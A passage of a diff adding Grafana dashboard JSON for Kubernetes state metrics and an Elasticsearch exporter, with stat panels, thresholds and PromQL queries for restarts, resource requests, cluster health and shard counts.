+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 6,
+ "x": 18,
+ "y": 27
+ },
+ "id": 41,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(changes(kube_pod_container_status_restarts_total{namespace=~\"$namespace\",cluster=~\"$cluster\"}[30m]))",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Containers Restarts (Last 30 Minutes)",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "rgb(31, 120, 193)",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 12,
+ "x": 0,
+ "y": 30
+ },
+ "id": 43,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_container_resource_requests_cpu_cores{namespace=~\"$namespace\",cluster=~\"$cluster\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "CPU Cores Requested by Containers",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "rgb(31, 120, 193)",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "decbytes"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 12,
+ "x": 12,
+ "y": 30
+ },
+ "id": 42,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_container_resource_requests_memory_bytes{namespace=~\"$namespace\" ,cluster=~\"$cluster\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Memory Requested By Containers",
+ "type": "stat"
+ }
+ ],
+ "refresh": false,
+ "schemaVersion": 37,
+ "style": "dark",
+ "tags": [
+ "kubernetes",
+ "kubernetes-app"
+ ],
+ "templating": {
+ "list": [
+ {
+ "current": {
+ "isNone": true,
+ "selected": false,
+ "text": "None",
+ "value": ""
+ },
+ "datasource": {
+ "type": "prometheus",
+ "uid": "$datasource"
+ },
+ "definition": "label_values(kube_node_info, cluster)",
+ "hide": 0,
+ "includeAll": false,
+ "multi": false,
+ "name": "cluster",
+ "options": [],
+ "query": {
+ "query": "label_values(kube_node_info, cluster)",
+ "refId": "prometheus-cluster-Variable-Query"
+ },
+ "refresh": 1,
+ "regex": "",
+ "skipUrlSync": false,
+ "sort": 0,
+ "tagValuesQuery": "",
+ "tagsQuery": "",
+ "type": "query",
+ "useTags": false
+ },
+ {
+ "current": {
+ "selected": false,
+ "text": "All",
+ "value": "$__all"
+ },
+ "datasource": {
+ "type": "prometheus",
+ "uid": "$datasource"
+ },
+ "definition": "label_values(kube_node_info{cluster=~\"$cluster\"}, node)",
+ "hide": 0,
+ "includeAll": true,
+ "multi": false,
+ "name": "node",
+ "options": [],
+ "query": {
+ "query": "label_values(kube_node_info{cluster=~\"$cluster\"}, node)",
+ "refId": "prometheus-node-Variable-Query"
+ },
+ "refresh": 1,
+ "regex": "",
+ "skipUrlSync": false,
+ "sort": 0,
+ "tagValuesQuery": "",
+ "tagsQuery": "",
+ "type": "query",
+ "useTags": false
+ },
+ {
+ "allValue": "",
+ "current": {
+ "selected": false,
+ "text": "All",
+ "value": "$__all"
+ },
+ "datasource": {
+ "type": "prometheus",
+ "uid": "$datasource"
+ },
+ "definition": "",
+ "hide": 0,
+ "includeAll": true,
+ "label": "",
+ "multi": false,
+ "name": "namespace",
+ "options": [],
+ "query": {
+ "query": "label_values(kube_namespace_created{cluster=~\"$cluster\"}, namespace)",
+ "refId": "prometheus-namespace-Variable-Query"
+ },
+ "refresh": 1,
+ "regex": "",
+ "skipUrlSync": false,
+ "sort": 0,
+ "tagValuesQuery": "",
+ "tagsQuery": "",
+ "type": "query",
+ "useTags": false
+ },
+ {
+ "hide": 2,
+ "name": "datasource",
+ "query": "prometheus",
+ "skipUrlSync": false,
+ "type": "constant"
+ }
+ ]
+ },
+ "time": {
+ "from": "now-24h",
+ "to": "now"
+ },
+ "timepicker": {
+ "refresh_intervals": [
+ "10s",
+ "30s",
+ "1m",
+ "5m",
+ "15m",
+ "30m",
+ "1h",
+ "2h",
+ "1d"
+ ],
+ "time_options": [
+ "5m",
+ "15m",
+ "1h",
+ "6h",
+ "12h",
+ "24h",
+ "2d",
+ "7d",
+ "30d"
+ ]
+ },
+ "timezone": "browser",
+ "title": "Kube State Metrics",
+ "uid": "garysdevil-kube-state-metrics-v2",
+ "version": 1,
+ "weekStart": ""
+ }
+ elasticsearch.json: |-
+ {
+ "annotations": {
+ "list": [
+ {
+ "builtIn": 1,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "enable": true,
+ "hide": true,
+ "iconColor": "rgba(0, 211, 255, 1)",
+ "name": "Annotations & Alerts",
+ "target": {
+ "limit": 100,
+ "matchAny": false,
+ "tags": [],
+ "type": "dashboard"
+ },
+ "type": "dashboard"
+ }
+ ]
+ },
+ "description": "A quickstart to setup the Prometheus Elasticsearch Exporter with preconfigured dashboards, alerting rules, and recording rules.",
+ "editable": true,
+ "fiscalYearStartMonth": 0,
+ "gnetId": 14191,
+ "graphTooltip": 1,
+ "id": 1,
+ "links": [
+ {
+ "asDropdown": true,
+ "icon": "external link",
+ "includeVars": false,
+ "keepTime": true,
+ "tags": [
+ "OS"
+ ],
+ "targetBlank": true,
+ "title": "OS",
+ "type": "dashboards"
+ },
+ {
+ "asDropdown": true,
+ "icon": "external link",
+ "keepTime": true,
+ "tags": [
+ "MySQL"
+ ],
+ "targetBlank": true,
+ "title": "MySQL",
+ "type": "dashboards"
+ },
+ {
+ "asDropdown": true,
+ "icon": "external link",
+ "keepTime": true,
+ "tags": [
+ "MongoDB"
+ ],
+ "targetBlank": true,
+ "title": "MongoDB",
+ "type": "dashboards"
+ },
+ {
+ "asDropdown": true,
+ "icon": "external link",
+ "keepTime": true,
+ "tags": [
+ "App"
+ ],
+ "targetBlank": true,
+ "title": "App",
+ "type": "dashboards"
+ }
+ ],
+ "liveNow": false,
+ "panels": [
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 0
+ },
+ "id": 90,
+ "panels": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "1": {
+ "text": "Red"
+ },
+ "3": {
+ "text": "Yellow"
+ },
+ "5": {
+ "text": "Green"
+ }
+ },
+ "type": "value"
+ },
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "#d44a3a",
+ "value": null
+ },
+ {
+ "color": "rgba(237, 129, 40, 0.89)",
+ "value": 2
+ },
+ {
+ "color": "#299c46",
+ "value": 4
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 0,
+ "y": 1
+ },
+ "id": 53,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "value",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "mean"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_cluster_health_status{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",color=\"red\"}==1 or (elasticsearch_cluster_health_status{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",color=\"green\"}==1)+4 or (elasticsearch_cluster_health_status{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",color=\"yellow\"}==1)+22",
+ "format": "time_series",
+ "instant": true,
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "refId": "A"
+ }
+ ],
+ "title": "Cluster health",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "N/A": {
+ "color": "#299c46",
+ "text": "0"
+ },
+ "no value": {
+ "color": "#299c46",
+ "text": "0"
+ }
+ },
+ "type": "value"
+ },
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "color": "#299c46",
+ "text": "0"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "#299c46",
+ "value": null
+ },
+ {
+ "color": "rgba(237, 129, 40, 0.89)",
+ "value": 1
+ },
+ {
+ "color": "#d44a3a",
+ "value": 2
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 2,
+ "x": 4,
+ "y": 1
+ },
+ "id": 81,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "value",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "mean"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "count(elasticsearch_breakers_tripped{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}>0)",
+ "format": "time_series",
+ "instant": true,
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "refId": "A"
+ }
+ ],
+ "title": "Tripped for breakers",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "rgba(50, 172, 45, 0.97)",
+ "value": null
+ },
+ {
+ "color": "rgba(237, 129, 40, 0.89)",
+ "value": 70
+ },
+ {
+ "color": "rgba(245, 54, 54, 0.9)",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "percent"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 6,
+ "y": 1
+ },
+ "id": 51,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "value",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum (elasticsearch_process_cpu_percent{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"} ) / count (elasticsearch_process_cpu_percent{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"} )",
+ "format": "time_series",
+ "instant": true,
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "metric": "",
+ "refId": "A",
+ "step": 60
+ }
+ ],
+ "title": "CPU usage Avg.",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "rgba(50, 172, 45, 0.97)",
+ "value": null
+ },
+ {
+ "color": "rgba(237, 129, 40, 0.89)",
+ "value": 70
+ },
+ {
+ "color": "rgba(245, 54, 54, 0.9)",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "percent"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 10,
+ "y": 1
+ },
+ "id": 50,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "value",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum (elasticsearch_jvm_memory_used_bytes{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}) / sum (elasticsearch_jvm_memory_max_bytes{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}) * 100",
+ "format": "time_series",
+ "instant": true,
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "metric": "",
+ "refId": "A",
+ "step": 60
+ }
+ ],
+ "title": "JVM memory used Avg.",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "description": "Number of nodes in the cluster",
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 2,
+ "x": 14,
+ "y": 1
+ },
+ "id": 10,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_cluster_health_number_of_nodes{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\"}",
+ "format": "time_series",
+ "instant": true,
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "metric": "",
+ "refId": "A",
+ "step": 60
+ }
+ ],
+ "title": "Nodes",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "description": "Number of data nodes in the cluster",
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 2,
+ "x": 16,
+ "y": 1
+ },
+ "id": 9,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_cluster_health_number_of_data_nodes{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\"}",
+ "format": "time_series",
+ "instant": true,
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "metric": "",
+ "refId": "A",
+ "step": 60
+ }
+ ],
+ "title": "Data nodes",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "description": "Cluster level changes which have not yet been executed",
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "rgba(50, 172, 45, 0.97)",
+ "value": null
+ },
+ {
+ "color": "rgba(237, 129, 40, 0.89)",
+ "value": 1
+ },
+ {
+ "color": "rgba(245, 54, 54, 0.9)",
+ "value": 5
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 2,
+ "x": 18,
+ "y": 1
+ },
+ "hideTimeOverride": true,
+ "id": 16,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "value",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_cluster_health_number_of_pending_tasks{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\"}",
+ "format": "time_series",
+ "instant": true,
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "metric": "",
+ "refId": "A",
+ "step": 60
+ }
+ ],
+ "title": "Pending tasks",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "short"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 20,
+ "y": 1
+ },
+ "id": 89,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum (elasticsearch_process_open_files_count{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"})",
+ "format": "time_series",
+ "instant": true,
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "metric": "",
+ "refId": "A",
+ "step": 60
+ }
+ ],
+ "title": "Open file descriptors per cluster",
+ "type": "stat"
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "KPI",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 1
+ },
+ "id": 91,
+ "panels": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "description": "The number of primary shards in your cluster. This is an aggregate total across all indices.",
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "rgb(31, 120, 193)",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 0,
+ "y": 5
+ },
+ "id": 11,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "repeat": "shard_type",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_cluster_health_active_primary_shards{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\"}",
+ "format": "time_series",
+ "instant": true,
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "refId": "A",
+ "step": 60
+ }
+ ],
+ "title": "Active primary shards",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "description": "Aggregate total of all shards across all indices, which includes replica shards",
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "rgb(31, 120, 193)",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 4,
+ "y": 5
+ },
+ "id": 39,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_cluster_health_active_shards{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\"}",
+ "format": "time_series",
+ "instant": true,
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "refId": "A",
+ "step": 60
+ }
+ ],
+ "title": "Active shards",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "description": "Count of shards that are being freshly created",
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "rgb(31, 120, 193)",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 8,
+ "y": 5
+ },
+ "id": 40,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_cluster_health_initializing_shards{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\"}",
+ "format": "time_series",
+ "instant": true,
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "refId": "A",
+ "step": 60
+ }
+ ],
+ "title": "Initializing shards",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "description": "The number of shards that are currently moving from one node to another node.",
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "rgb(31, 120, 193)",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 12,
+ "y": 5
+ },
+ "id": 41,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_cluster_health_relocating_shards{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\"}",
+ "format": "time_series",
+ "instant": true,
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "refId": "A",
+ "step": 60
+ }
+ ],
+ "title": "Relocating shards",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "description": "Shards delayed to reduce reallocation overhead",
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "rgb(31, 120, 193)",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 16,
+ "y": 5
+ },
+ "id": 42,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_cluster_health_delayed_unassigned_shards{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\"} ",
+ "format": "time_series",
+ "instant": true,
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "refId": "A",
+ "step": 60
+ }
+ ],
+ "title": "Delayed shards",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "description": "The number of shards that exist in the cluster state, but cannot be found in the cluster itself",
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "rgb(31, 120, 193)",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
